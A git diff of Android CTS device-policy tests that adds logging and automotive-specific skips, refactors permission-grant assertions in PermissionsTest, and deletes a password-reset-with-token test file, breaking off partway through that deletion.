     private class NetworkLogsReceiver extends BroadcastReceiver {
 
         private final CountDownLatch mBatchCountDown = new CountDownLatch(1);
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NotificationListener.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NotificationListener.java
index edd8b5e..baf424e 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NotificationListener.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/NotificationListener.java
@@ -16,6 +16,7 @@
 
 package com.android.cts.deviceandprofileowner;
 
+import android.os.UserHandle;
 import android.service.notification.NotificationListenerService;
 import android.service.notification.StatusBarNotification;
 import android.util.Log;
@@ -30,6 +31,9 @@
  * A {@link NotificationListenerService} that allows tests to register to respond to notifications.
  */
 public class NotificationListener extends NotificationListenerService {
+
+    private static final String TAG = NotificationListener.class.getSimpleName();
+
     private static final int TIMEOUT_SECONDS = 120;
 
     private static NotificationListener instance;
@@ -37,7 +41,12 @@
 
     public static NotificationListener getInstance() {
         try {
-            connectedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            Log.d(TAG, "getInstance(): waiting " + TIMEOUT_SECONDS + "s for connection");
+            if (!connectedLatch.await(TIMEOUT_SECONDS, TimeUnit.SECONDS)) {
+                throw new IllegalStateException("notification listener didn't connect in "
+                        + TIMEOUT_SECONDS + "s");
+            }
+            Log.v(TAG, "wait no more...");
         } catch (InterruptedException e) {
             throw new RuntimeException("NotificationListener not connected.", e);
         }
@@ -57,6 +66,7 @@
 
     @Override
     public void onNotificationPosted(StatusBarNotification sbn) {
+        Log.d(TAG, "Notification posted: " + sbn);
         for (Consumer<StatusBarNotification> listener : mListeners) {
             listener.accept(sbn);
         }
@@ -64,6 +74,7 @@
 
     @Override
     public void onListenerConnected() {
+        Log.d(TAG, "onListenerConnected() on user " + UserHandle.myUserId());
         instance = this;
         connectedLatch.countDown();
     }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
index f9ce726..59a5a5c 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PasswordRequirementsTest.java
@@ -22,18 +22,22 @@
 
 import static org.testng.Assert.assertThrows;
 
+import android.util.Log;
+
 /**
  * Class that tests password constraints API preconditions.
  */
 public class PasswordRequirementsTest extends BaseDeviceAdminTest {
+
     private static final int TEST_VALUE = 5;
+
+    private static final int DEFAULT_LENGTH = 0;
     private static final int DEFAULT_NUMERIC = 1;
     private static final int DEFAULT_LETTERS = 1;
     private static final int DEFAULT_UPPERCASE = 0;
     private static final int DEFAULT_LOWERCASE = 0;
     private static final int DEFAULT_NON_LETTER = 0;
     private static final int DEFAULT_SYMBOLS = 1;
-    private static final int DEFAULT_LENGTH = 0;
 
     public void testPasswordConstraintsDoesntThrowAndPreservesValuesPreR() {
         // Pre-R password restrictions can be set in any order.
@@ -51,23 +55,46 @@
         // Make sure these values are preserved and not reset when quality is set low.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_UNSPECIFIED);
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
-        assertEquals(TEST_VALUE,
-                mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+        if (mIsAutomotive) {
+            assertEquals(DEFAULT_LENGTH,
+                    mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_NUMERIC,
+                    mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_LETTERS,
+                    mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_UPPERCASE,
+                    mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_LOWERCASE,
+                    mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_NON_LETTER,
+                    mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(DEFAULT_SYMBOLS,
+                    mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+        } else {
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumNumeric(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLetters(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumUpperCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumLowerCase(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumNonLetter(ADMIN_RECEIVER_COMPONENT));
+            assertEquals(TEST_VALUE,
+                    mDevicePolicyManager.getPasswordMinimumSymbols(ADMIN_RECEIVER_COMPONENT));
+
+        }
     }
 
     public void testSettingConstraintsWithLowQualityThrowsOnRPlus() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithLowQualityThrowsOnRPlus")) {
+            return;
+        }
+
         // On R and above quality should be set first.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_SOMETHING);
@@ -89,6 +116,11 @@
     }
 
     public void testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithNumericQualityOnlyLengthAllowedOnRPlus")) {
+            return;
+        }
+
         // On R and above quality should be set first.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
@@ -112,6 +144,11 @@
     }
 
     public void testSettingConstraintsWithComplexQualityAndResetWithLowerQuality() {
+        if (!deviceSupportDeprecatedPasswordQualityAPIs(
+                "testSettingConstraintsWithComplexQualityAndResetWithLowerQuality")) {
+            return;
+        }
+
         // On R and above when quality is lowered, irrelevant requirements are getting reset.
         mDevicePolicyManager.setPasswordQuality(
                 ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_COMPLEX);
@@ -153,6 +190,13 @@
         // Now length should also be reset.
         assertEquals(DEFAULT_LENGTH,
                 mDevicePolicyManager.getPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT));
+    }
 
+    private boolean deviceSupportDeprecatedPasswordQualityAPIs(String test) {
+        if (mIsAutomotive) {
+            Log.d(mTag, "Skipping " + test + "on automotive build");
+            return false;
+        }
+        return true;
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
index 119d702..1ab76e5 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/PermissionsTest.java
@@ -26,11 +26,19 @@
 import static android.content.pm.PackageManager.PERMISSION_DENIED;
 import static android.content.pm.PackageManager.PERMISSION_GRANTED;
 
+import static com.android.cts.devicepolicy.PermissionUtils.permissionGrantStateToString;
+import static com.android.cts.devicepolicy.PermissionUtils.permissionPolicyToString;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.Manifest.permission;
 import android.app.UiAutomation;
 import android.app.admin.DevicePolicyManager;
+import android.content.Context;
 import android.content.IntentFilter;
-import android.content.pm.PackageManager;
+import android.os.Process;
+import android.os.UserHandle;
+import android.os.UserManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
 import android.support.test.uiautomator.UiDevice;
@@ -43,8 +51,6 @@
 import com.google.android.collect.Sets;
 
 import java.util.Set;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 
 /**
  * Test Runtime Permissions APIs in DevicePolicyManager.
@@ -60,7 +66,6 @@
             = PERMISSION_APP_PACKAGE_NAME + ".PermissionActivity";
     private static final String CUSTOM_PERM_A_NAME = "com.android.cts.permissionapp.permA";
     private static final String CUSTOM_PERM_B_NAME = "com.android.cts.permissionapp.permB";
-    private static final String DEVELOPMENT_PERMISSION = "android.permission.INTERACT_ACROSS_USERS";
 
     private static final String ACTION_PERMISSION_RESULT
             = "com.android.cts.permission.action.PERMISSION_RESULT";
@@ -73,8 +78,6 @@
             .clazz(android.widget.TextView.class.getName())
             .pkg("android");
     private static final String CRASH_WATCHER_ID = "CRASH";
-    private static final String AUTO_GRANTED_PERMISSIONS_CHANNEL_ID =
-            "alerting auto granted permissions";
 
     private static final Set<String> LOCATION_PERMISSIONS = Sets.newHashSet(
             permission.ACCESS_FINE_LOCATION,
@@ -116,24 +119,6 @@
         assertCannotRequestPermissionFromActivity(READ_CONTACTS);
     }
 
-    public void testPermissionGrantStateDenied_permissionRemainsDenied() throws Exception {
-        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
-        try {
-            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DENIED);
-
-            assertNoPermissionFromActivity(READ_CONTACTS);
-
-            // Should stay denied
-            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
-
-            assertNoPermissionFromActivity(READ_CONTACTS);
-        } finally {
-            // Restore original state
-            setPermissionGrantState(READ_CONTACTS, grantState);
-        }
-    }
-
     public void testPermissionGrantStateDenied_mixedPolicies() throws Exception {
         int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
                 PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
@@ -198,24 +183,6 @@
         assertCanRequestPermissionFromActivity(READ_CONTACTS);
     }
 
-    public void testPermissionGrantStateGranted_permissionRemainsGranted() throws Exception {
-        int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
-        try {
-            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_GRANTED);
-
-            assertHasPermissionFromActivity(READ_CONTACTS);
-
-            // Should stay granted
-            setPermissionGrantState(READ_CONTACTS, PERMISSION_GRANT_STATE_DEFAULT);
-
-            assertHasPermissionFromActivity(READ_CONTACTS);
-        } finally {
-            // Restore original state
-            setPermissionGrantState(READ_CONTACTS, grantState);
-        }
-    }
-
     public void testPermissionGrantStateGranted_mixedPolicies() throws Exception {
         int grantState = mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
                 PERMISSION_APP_PACKAGE_NAME, READ_CONTACTS);
@@ -245,35 +212,6 @@
         }
     }
 
-    public void testPermissionGrantStateGranted_userNotifiedOfLocationPermission()
-            throws Exception {
-        for (String locationPermission : LOCATION_PERMISSIONS) {
-            // TODO(b/161359841): move NotificationListener to app/common
-            CountDownLatch notificationLatch = initPermissionNotificationLatch();
-
-            setPermissionGrantState(locationPermission, PERMISSION_GRANT_STATE_GRANTED);
-
-            assertPermissionGrantState(locationPermission, PERMISSION_GRANT_STATE_GRANTED);
-            assertTrue(String.format("Did not receive notification for permission %s",
-                    locationPermission), notificationLatch.await(60, TimeUnit.SECONDS));
-            NotificationListener.getInstance().clearListeners();
-        }
-    }
-
-    public void testPermissionGrantState_developmentPermission() {
-        assertCannotSetPermissionGrantStateDevelopmentPermission(PERMISSION_GRANT_STATE_DENIED);
-        assertCannotSetPermissionGrantStateDevelopmentPermission(PERMISSION_GRANT_STATE_DEFAULT);
-        assertCannotSetPermissionGrantStateDevelopmentPermission(PERMISSION_GRANT_STATE_GRANTED);
-    }
-
-    private void assertCannotSetPermissionGrantStateDevelopmentPermission(int value) {
-        unableToSetPermissionGrantState(DEVELOPMENT_PERMISSION, value);
-
-        assertPermissionGrantState(DEVELOPMENT_PERMISSION, PERMISSION_GRANT_STATE_DEFAULT);
-        PermissionUtils.checkPermission(DEVELOPMENT_PERMISSION, PERMISSION_DENIED,
-                PERMISSION_APP_PACKAGE_NAME);
-    }
-
     public void testPermissionGrantState_preMApp_preQDeviceAdmin() throws Exception {
         // These tests are to make sure that pre-M apps are not granted/denied runtime permissions
         // by a profile owner that targets pre-Q
@@ -303,27 +241,43 @@
 
     private void assertCanSetPermissionGrantStatePreMApp(String permission, int value)
             throws Exception {
-        assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PRE_M_APP_PACKAGE_NAME, permission, value));
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PRE_M_APP_PACKAGE_NAME, permission), value);
+        Log.d(TAG, "Calling " + mDevicePolicyManager + ".setPermissionGrantState("
+                + PRE_M_APP_PACKAGE_NAME + ", " + permission + ", "
+                + permissionGrantStateToString(value) + ")");
+        boolean result = mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                PRE_M_APP_PACKAGE_NAME, permission, value);
+        Log.d(TAG, "Result: " + result);
+
+        assertWithMessage("%s.setPermissionGrantState(%s, %s, %s)", mDevicePolicyManager,
+                ADMIN_RECEIVER_COMPONENT, PRE_M_APP_PACKAGE_NAME,
+                permissionGrantStateToString(value)).that(result).isTrue();
+
+        assertPermissionGrantState(mDevicePolicyManager, PRE_M_APP_PACKAGE_NAME, permission, value);
+
+        Context context = mContext;
+        if (mIsDeviceOwnerTest && UserManager.isHeadlessSystemUserMode()) {
+            Log.d(TAG, "Using context for system user on device owner test because device uses "
+                    + "headless system user mode");
+            context = mContext.createContextAsUser(UserHandle.SYSTEM, /* flags= */ 0);
+        }
 
         // Install time permissions should always be granted
-        PermissionUtils.checkPermission(permission, PERMISSION_GRANTED, PRE_M_APP_PACKAGE_NAME);
+        PermissionUtils.checkPermission(context, permission, PERMISSION_GRANTED,
+                PRE_M_APP_PACKAGE_NAME);
 
         // For pre-M apps the access to the data might be prevented via app-ops. Hence check that
         // they are correctly set
         switch (value) {
             case PERMISSION_GRANT_STATE_GRANTED:
-                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_GRANTED,
+                PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_GRANTED,
                         PRE_M_APP_PACKAGE_NAME);
                 break;
             case PERMISSION_GRANT_STATE_DENIED:
-                PermissionUtils.checkPermissionAndAppOps(permission, PERMISSION_DENIED,
+                PermissionUtils.checkPermissionAndAppOps(context, permission, PERMISSION_DENIED,
                         PRE_M_APP_PACKAGE_NAME);
                 break;
             default:
-                fail("unsupported policy value");
+                fail("unsupported policy value (" + value + ")");
         }
     }
 
@@ -361,10 +315,16 @@
     }
 
     public void testPermissionPolicyAutoGrant() throws Exception {
-        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
 
-        assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
-        assertCanRequestPermissionFromActivity(READ_CONTACTS);
+            assertPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            assertCanRequestPermissionFromActivity(READ_CONTACTS);
+       } finally {
+            // Restore original state
+            setPermissionPolicy(permissionPolicy);
+        }
     }
 
     public void testPermissionPolicyAutoGrant_permissionLocked() throws Exception {
@@ -444,74 +404,31 @@
                 PERMISSION_APP_PACKAGE_NAME);
     }
 
-    public void testSensorsRelatedPermissionsCannotBeGranted() throws Exception {
-        for (String sensorPermission : SENSORS_PERMISSIONS) {
-            try {
-                // The permission cannot be granted.
-                assertFailedToSetPermissionGrantState(
-                        sensorPermission, DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED);
-
-                // But the user can grant it.
-                PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice,
-                        sensorPermission, PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME,
-                        PERMISSIONS_ACTIVITY_NAME);
-
-                // And the package manager should show it as granted.
-                PermissionUtils.checkPermission(sensorPermission, PERMISSION_GRANTED,
-                        PERMISSION_APP_PACKAGE_NAME);
-            } finally {
-                revokePermission(sensorPermission);
-            }
-        }
-    }
-
-    public void testSensorsRelatedPermissionsCanBeDenied() throws Exception {
-        for (String sensorPermission : SENSORS_PERMISSIONS) {
-            // The permission can be denied
-            setPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DENIED);
-
-            assertPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DENIED);
-            assertCannotRequestPermissionFromActivity(sensorPermission);
-        }
-    }
-
     public void testSensorsRelatedPermissionsNotGrantedViaPolicy() throws Exception {
-        setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
-        for (String sensorPermission : SENSORS_PERMISSIONS) {
-            try {
-                // The permission is not granted by default.
-                PermissionUtils.checkPermission(sensorPermission, PERMISSION_DENIED,
-                        PERMISSION_APP_PACKAGE_NAME);
-                // But the user can grant it.
-                PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice,
-                        sensorPermission,
-                        PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
+        int permissionPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        try {
+            setPermissionPolicy(PERMISSION_POLICY_AUTO_GRANT);
+            for (String sensorPermission : SENSORS_PERMISSIONS) {
+                try {
+                    // The permission is not granted by default.
+                    PermissionUtils.checkPermission(sensorPermission, PERMISSION_DENIED,
+                            PERMISSION_APP_PACKAGE_NAME);
+                    // But the user can grant it.
+                    PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice,
+                            sensorPermission,
+                            PERMISSION_GRANTED, PERMISSION_APP_PACKAGE_NAME,
+                            PERMISSIONS_ACTIVITY_NAME);
 
-                // And the package manager should show it as granted.
-                PermissionUtils.checkPermission(sensorPermission, PERMISSION_GRANTED,
-                        PERMISSION_APP_PACKAGE_NAME);
-            } finally {
-                revokePermission(sensorPermission);
+                    // And the package manager should show it as granted.
+                    PermissionUtils.checkPermission(sensorPermission, PERMISSION_GRANTED,
+                            PERMISSION_APP_PACKAGE_NAME);
+                } finally {
+                    revokePermission(sensorPermission);
+                }
             }
-        }
-    }
-
-    public void testStateOfSensorsRelatedPermissionsCannotBeRead() throws Exception {
-        for (String sensorPermission : SENSORS_PERMISSIONS) {
-            try {
-                // The admin tries to grant the permission.
-                setPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_GRANTED);
-
-                // But the user denies it.
-                PermissionUtils.launchActivityAndRequestPermission(mReceiver, mDevice,
-                        sensorPermission, PERMISSION_DENIED, PERMISSION_APP_PACKAGE_NAME,
-                        PERMISSIONS_ACTIVITY_NAME);
-
-                // And the admin cannot learn of it.
-                assertPermissionGrantState(sensorPermission, PERMISSION_GRANT_STATE_DEFAULT);
-            } finally {
-                revokePermission(sensorPermission);
-            }
+        } finally {
+            // Restore original state
+            setPermissionPolicy(permissionPolicy);
         }
     }
 
@@ -526,51 +443,57 @@
         }
     }
 
-    private void assertFailedToSetPermissionGrantState(String permission, int value) {
-        assertTrue(mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission, value));
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission),
-                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
-        assertEquals(mContext.getPackageManager().checkPermission(permission,
-                PERMISSION_APP_PACKAGE_NAME),
-                PackageManager.PERMISSION_DENIED);
-    }
-
-    private CountDownLatch initPermissionNotificationLatch() {
-        CountDownLatch notificationCounterLatch = new CountDownLatch(1);
-        NotificationListener.getInstance().addListener((notification) -> {
-            if (notification.getPackageName().equals(
-                    mContext.getPackageManager().getPermissionControllerPackageName()) &&
-                    notification.getNotification().getChannelId().equals(
-                            AUTO_GRANTED_PERMISSIONS_CHANNEL_ID)) {
-                notificationCounterLatch.countDown();
-            }
-        });
-        return notificationCounterLatch;
-    }
-
     private void setPermissionPolicy(int permissionPolicy) {
+        Log.d(TAG, "Calling setPermissionPolicy(" + permissionPolicyToString(permissionPolicy)
+                + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid());
         mDevicePolicyManager.setPermissionPolicy(ADMIN_RECEIVER_COMPONENT, permissionPolicy);
     }
 
     private boolean setPermissionGrantState(String permission, int grantState) {
-        return mDevicePolicyManager.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+        return setPermissionGrantState(mDevicePolicyManager, permission, grantState);
+    }
+
+    private boolean setPermissionGrantState(DevicePolicyManager dpm, String permission,
+            int grantState) {
+        boolean result = dpm.setPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
                 PERMISSION_APP_PACKAGE_NAME, permission, grantState);
+        Log.d(TAG, "setPermissionGrantState(" + PERMISSION_APP_PACKAGE_NAME + ", " + permission
+                + "): requested " + grantState + " (" + permissionGrantStateToString(grantState)
+                + ") using DPM " + mDevicePolicyManager + " on uid " + Process.myUid()
+                + ", got " + result);
+        return result;
     }
 
-    private void unableToSetPermissionGrantState(String permission, int grantState) {
-        assertFalse(setPermissionGrantState(permission, grantState));
+    private void assertPermissionGrantState(String permission, int expectedState) {
+        assertPermissionGrantState(mDevicePolicyManager, permission, expectedState);
     }
 
-    private void assertPermissionGrantState(String permission, int grantState) {
-        assertEquals(mDevicePolicyManager.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
-                PERMISSION_APP_PACKAGE_NAME, permission), grantState);
+    private void assertPermissionGrantState(DevicePolicyManager dpm, String permission,
+            int expectedState) {
+        assertPermissionGrantState(dpm, PERMISSION_APP_PACKAGE_NAME, permission, expectedState);
     }
 
-    private void assertPermissionPolicy(int permissionPolicy) {
-        assertEquals(mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT),
-                permissionPolicy);
+    private void assertPermissionGrantState(DevicePolicyManager dpm, String packageName,
+            String permission, int expectedState) {
+        int actualState = dpm.getPermissionGrantState(ADMIN_RECEIVER_COMPONENT,
+                packageName, permission);
+
+        assertWithMessage("%s.getPermissionGrantState(%s, %s, %s) (where %s=%s and %s=%s)",
+                mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT, packageName, permission,
+                expectedState, permissionGrantStateToString(expectedState),
+                actualState, permissionGrantStateToString(actualState))
+                        .that(actualState)
+                        .isEqualTo(expectedState);
+    }
+
+    private void assertPermissionPolicy(int expectedPolicy) {
+        int actualPolicy = mDevicePolicyManager.getPermissionPolicy(ADMIN_RECEIVER_COMPONENT);
+        assertWithMessage("%s.getPermissionPolicy(%s) (where %s=%s and %s=%s)",
+                mDevicePolicyManager, ADMIN_RECEIVER_COMPONENT,
+                expectedPolicy, permissionPolicyToString(expectedPolicy),
+                actualPolicy, permissionPolicyToString(actualPolicy))
+                        .that(actualPolicy)
+                        .isEqualTo(expectedPolicy);
     }
 
     private void assertCanRequestPermissionFromActivity(String permission) throws Exception {
@@ -584,16 +507,4 @@
                 mReceiver, permission, PERMISSION_DENIED,
                 PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
     }
-
-    private void assertHasPermissionFromActivity(String permission) throws Exception {
-        PermissionUtils.launchActivityAndCheckPermission(
-                mReceiver, permission, PERMISSION_GRANTED,
-                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
-    }
-
-    private void assertNoPermissionFromActivity(String permission) throws Exception {
-        PermissionUtils.launchActivityAndCheckPermission(
-                mReceiver, permission, PERMISSION_DENIED,
-                PERMISSION_APP_PACKAGE_NAME, PERMISSIONS_ACTIVITY_NAME);
-    }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
deleted file mode 100644
index b305297..0000000
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/ResetPasswordWithTokenTest.java
+++ /dev/null
@@ -1,665 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.deviceandprofileowner;
-
-import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_HIGH;
-import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_LOW;
-import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_MEDIUM;
-import static android.app.admin.DevicePolicyManager.PASSWORD_COMPLEXITY_NONE;
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC;
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC;
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_COMPLEX;
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_NUMERIC;
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_SOMETHING;
-import static android.app.admin.DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED;
-
-import android.app.KeyguardManager;
-import android.app.admin.DevicePolicyManager;
-import android.stats.devicepolicy.EventId;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.bedstead.metricsrecorder.EnterpriseMetricsRecorder;
-
-public class ResetPasswordWithTokenTest extends BaseDeviceAdminTest {
-
-    private static final String SHORT_PASSWORD = "1234";
-    private static final String COMPLEX_PASSWORD = "abc123.";
-
-    private static final byte[] TOKEN0 = "abcdefghijklmnopqrstuvwxyz0123456789".getBytes();
-    private static final byte[] TOKEN1 = "abcdefghijklmnopqrstuvwxyz012345678*".getBytes();
-
-    private static final String ARG_ALLOW_FAILURE = "allowFailure";
-    private static final String ARG_LOGGING_TEST = "loggingTest";
-
-    private boolean mShouldRun;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        Boolean allowFailure = Boolean.parseBoolean(
-                InstrumentationRegistry.getArguments().getString(ARG_ALLOW_FAILURE));
-        mShouldRun = setUpResetPasswordToken(allowFailure);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mShouldRun) {
-            cleanUpResetPasswordToken();
-        }
-        resetComplexPasswordRestrictions();
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT,
-                PASSWORD_QUALITY_UNSPECIFIED);
-        mDevicePolicyManager.setRequiredPasswordComplexity(PASSWORD_COMPLEXITY_NONE);
-        super.tearDown();
-    }
-
-    public void testBadTokenShouldFail() {
-        if (!mShouldRun) {
-            return;
-        }
-        // resetting password with wrong token should fail
-        assertFalse(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
-                SHORT_PASSWORD, TOKEN1, 0));
-    }
-
-    public void testChangePasswordWithToken() {
-        if (!mShouldRun) {
-            return;
-        }
-        // try changing password with token
-        assertTrue(mDevicePolicyManager.resetPasswordWithToken(ADMIN_RECEIVER_COMPONENT,
-                SHORT_PASSWORD, TOKEN0, 0));
-
-        // Set a strong password constraint and expect the sufficiency check to fail
-        mDevicePolicyManager.setPasswordQuality(ADMIN_RECEIVER_COMPONENT, PASSWORD_QUALITY_NUMERIC);
-        mDevicePolicyManager.setPasswordMinimumLength(ADMIN_RECEIVER_COMPONENT, 6);
-        assertPasswordSufficiency(false);
-
